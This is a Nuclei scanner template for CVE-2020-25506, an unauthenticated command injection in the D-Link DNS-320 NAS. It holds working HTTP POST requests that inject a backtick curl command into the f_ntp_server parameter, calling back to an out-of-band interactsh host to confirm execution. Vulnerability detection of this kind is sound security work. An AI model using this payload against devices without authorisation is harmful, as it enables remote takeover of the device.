58 lines
2.3 KiB
YAML
58 lines
2.3 KiB
YAML
id: CVE-2020-25506
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info:
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name: D-Link DNS-320 - Unauthenticated Remote Code Execution
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author: gy741
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severity: critical
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description: D-Link DNS-320 FW v2.06B01 Revision Ax is susceptible to a command injection vulnerability in a system_mgr.cgi component. The component does not successfully sanitize the value of the HTTP parameters f_ntp_server, which in turn leads to arbitrary command execution.
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impact: |
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Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected device.
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remediation: |
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Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
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reference:
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- https://gist.github.com/WinMin/6f63fd1ae95977e0e2d49bd4b5f00675
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- https://unit42.paloaltonetworks.com/mirai-variant-iot-vulnerabilities/
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- https://nvd.nist.gov/vuln/detail/CVE-2020-25506
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- https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10183
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- https://www.dlink.com/en/security-bulletin/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2020-25506
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cwe-id: CWE-78
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epss-score: 0.97383
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epss-percentile: 0.99903
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cpe: cpe:2.3:o:dlink:dns-320_firmware:2.06b01:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: dlink
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product: dns-320_firmware
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tags: cve,cve2020,dlink,rce,oast,mirai,unauth,router,kev
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variables:
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useragent: '{{rand_base(6)}}'
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http:
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- raw:
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- |
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POST /cgi-bin/system_mgr.cgi? HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'`
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- |
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POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'` HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: {{useragent}}"
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# digest: 4a0a004730450221008603407556f5d86d00fc35eb29d8dfabfafad112a165be5c7341165845aac25802204d9d3505889d5f2e6e0aaf6df6add1895a70a6f9ebfed6e2022cb1654f9e342f:922c64590222798bb761d5b6d8e72950 |